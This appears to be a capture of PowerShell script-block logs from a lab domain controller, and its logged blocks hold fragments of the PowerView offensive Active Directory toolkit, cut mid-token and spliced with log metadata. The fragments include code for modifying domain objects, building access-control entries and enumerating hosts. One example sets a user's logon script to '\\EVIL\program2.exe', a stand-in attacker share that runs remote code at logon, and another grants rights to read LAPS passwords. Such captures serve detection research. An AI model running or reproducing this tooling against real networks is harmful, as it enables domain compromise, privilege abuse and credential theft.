$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
$LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3])
$LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2])
$LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1])
$LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0])
}
$LogonHours
}
}
Process {
$Output = @{
Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2]
Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5]
Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8]
Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11]
Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14]
Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17]
Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20]
}
$Output = New-Object PSObject -Property $Output
$Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours')
$Output
}
}
function New-ADObjectAccessControlEntry {
<#
.SYNOPSIS
Creates a new Active Directory object-specific access control entry.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Creates a new object-specific access control entry (ACE). The ACE could be
used for auditing access to an object or controlling access to objects.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER PrincipalSearchBase
The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Right
Specifies the rights set on the Active Directory object.
.PARAMETER AccessControlType
Specifies the type of ACE (allow or deny)
.PARAMETER AuditFlag
For audit ACEs, specifies when to create an audit log (on success or failure)
.PARAMETER ObjectType
Specifies the GUID of the object that the ACE applies to.
.PARAMETER InheritanceType
Specifies how the ACE applies to the object and/or its children.
.PARAMETER InheritedObjectType
Specifies the type of object that can inherit the ACE.
.EXAMPLE
$Guids = Get-DomainGUIDMap
$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name
$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name
$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid
$OU = Get-DomainOU -Raw Workstations
$DsEntry = $OU.GetDirectoryEntry()
$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'
$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$dsEntry.PsBase.CommitChanges()
Adds an ACE to all computer objects in the OU "Workstations" permitting the
user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property.
.OUTPUTS
System.Security.AccessControl.AuthorizationRule
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Security.AccessControl.AuthorizationRule')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $True)]
[ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')]
$Right,
[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]
[ValidateSet('Allow', 'Deny')]
[String[]]
$AccessControlType,
[Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')]
[ValidateSet('Success', 'Failure')]
[String]
$AuditFlag,
[Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')]
[Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')]
[Guid]
$ObjectType,
[ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')]
[String]
$InheritanceType,
[Guid]
$InheritedObjectType
)
Begin {
if ($PrincipalIdentity -notmatch '^S-1-.*') {
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundPard123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104152150x0715402Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-DomainOU57f011cb-e10d-4ee6-b8bb-772e09ffa355
4104132150x0715350Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local5555api32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715332Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3755SBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['ComputerIdentity']) {
$Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
if (-not $Computers) {
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
}
ForEach ($Computer in $Computers) {
$GPOGuids = @()
# extract any GPOs linked to this computer's OU through gpLink
$DN = $Computer.distinguishedname
$OUIndex = $DN.IndexOf('OU=')
if ($OUIndex -gt 0) {
$OUName = $DN.SubString($OUIndex)
}
if ($OUName) {
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# extract any GPOs linked to this computer's site through gpLink
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
$ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
$GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# process any GPO local group settings from the GPO GUID set
$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
$GPOGroup = $_
if($GPOGroup.GroupMembers) {
$GPOMembers = $GPOGroup.GroupMembers
}
else {
$GPOMembers = $GPOGroup.GroupSID
}
$GPOMembers | ForEach-Object {
$Object = Get-DomainObject @CommonArguments -Identity $_
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOComputerLocalGroupMember = New-Object PSObject
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ComputerName' $Computer.dnshostname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'ObjectSID' $_
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath
$GPOComputerLocalGroupMember | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType
$GPOComputerLocalGroupMember.PSObject.TypeNames.Add('PowerView.GPOComputerLocalGroupMember')
$GPOComputerLocalGroupMember
}
}
}
}
}
}
function Get-DomainPolicyData {
<#
.SYNOPSIS
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, ConvertFrom-SID
.DESCRIPTION
Returns the default domain policy or the domain controller policy for the current
domain or a specified domain/domain controller using Get-DomainGPO.
.PARAMETER Domain
The domain to query for default policies, defaults to the current domain.
.PARAMETER Policy
Extract 'Domain', 'DC' (domain controller) policies, or 'All' for all policies.
Otherwise queries for the particular GPO name or GUID.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainPolicyData
Returns the default domain policy for the current domain.
.EXAMPLE
Get-DomainPolicyData -Domain dev.testlab.local
Returns the default domain policy for the dev.testlab.local domain.
.EXAMPLE
Get-DomainGPO | Get-DomainPolicy
Parses any GptTmpl.infs found for any policies in the current domain.
.EXAMPLE
Get-DomainPolicyData -Policy DC -Domain dev.testlab.local
Returns the policy for the dev.testlab.local domain controller.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainPolicyData -Credential $Cred
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Source', 'Name')]
[String]
$Policy = 'Domain',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$ConvertArguments = @{}
if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$ConvertArguments['Domain'] = $Domain
}
if ($Policy -eq 'All') {
$SearcherArguments['Identity'] = '*'
}
elseif ($Policy -eq 'Domain') {
$SearcherArguments['Identity'] = '{31B2F340-016D-11D2-945F-00C04FB984F9}'
}
elseif (($Policy -eq 'DomainController') -or ($Policy -eq 'DC')) {
$SearcherArguments['Identity'] = '{6AC1786C-016F-11D2-945F-00C04FB984F9}'
}
else {
$SearcherArguments['Identity'] = $Policy
}
$GPOResults = Get-DomainGPO @SearcherArguments
ForEach ($GPO in $GPOResults) {
# grab the GptTmpl.inf file and parse it
$GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
$ParseArgs = @{
'GptTmplPath' = $GptTmplPath
'OutputObject' = $True
}
if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
# parse the GptTmpl.inf
Get-GptTmpl @ParseArgs | ForEach-Object {
$_ | Add-Member Noteproperty 'GPOName' $GPO.name
$_ | Add-Member Noteproperty 'GPODisplayName' $GPO.displayname
$_
}
}
}
}
########################################################
#
# Functions that enumerate a single host, either through
# WinNT, WMI, remote registry, or API calls
# (with PSReflect).
#
########################################################
function Get-NetLocalGroup {
<#
.SYNOPSIS
Enumerates the local groups on the local (or remote) machine.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
This function will enumerate the names and descriptions for the
local groups on the current, or remote, machine. By default, the Win32 API
call NetLocalGroupEnum will be used (for speed). Specifying "-Method WinNT"
causes the WinNT service provider to be used instead, which returns group
SIDs along with the group names and descriptions/comments.
.PARAMETER ComputerName
Specifies the hostname to query for sessions (also accepts IP addresses).
Defaults to the localhost.
.PARAMETER Method
The collection method to use, defaults to 'API', also accepts 'WinNT'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to a remote machine. Only applicable with "-Method WinNT".
.EXAMPLE
Get-NetLocalGroup
ComputerName GroupName Comment
------------ --------- -------
WINDOWS1 Administrators Administrators have comple...
WINDOWS1 Backup Operators Backup Operators can overr...
WINDOWS1 Cryptographic Operators Members are authorized to ...
...
.EXAMPLE
Get-NetLocalGroup -Method Winnt
ComputerName GroupName GroupSID Comment
------------ --------- -------- -------
WINDOWS1 Administrators S-1-5-32-544 Administrators hav...
WINDOWS1 Backup Operators S-1-5-32-551 Backup Operators c...
WINDOWS1 Cryptographic Opera... S-1-5-32-569 Members are author...
...
.EXAMPLE
Get-NetLocalGroup -ComputerName primary.testlab.local
ComputerName GroupName Comment
------------ --------- -------
primary.testlab.local Administrators Administrators have comple...
primary.testlab.local Users Users are prevented from m...
primary.testlab.local Guests Guests have the same acces...
primary.testlab.local Print Operators Members can administer dom...
primary.testlab.local Backup Operators Backup Operators can overr...
.OUTPUTS
PowerView.LocalGroup.API
Custom PSObject with translated group property fields from API results.
PowerView.LocalGroup.WinNT
Custom PSObject with translated group property fields from WinNT results.
.LINK
https://msdn.microsoft.com/en-us/library/windows/desktop/aa370440(v=vs.85).aspx
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LocalGroup.API')]
[OutputType('PowerView.LocalGroup.WinNT')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
[String[]]
$ComputerName = $Env:COMPUTERNAME,
[ValidateSet('API', 'WinNT')]
[Alias('CollectionMethod')]
[String]
$Method = 'API',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
ForEach ($Computer in $ComputerName) {
if ($Method -eq 'API') {
# if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
# arguments for NetLocalGroupEnum
$QueryLevel = 1
$PtrInfo = [IntPtr]::Zero
$EntriesRead = 0
$TotalRead = 0
$ResumeHandle = 0
# get the local user information
$Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
# locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $LOCALGROUP_INFO_1::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $EntriesRead); $i++) {
# create a new int ptr at the given offset and cast the pointer as our r38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715331Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3655alidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
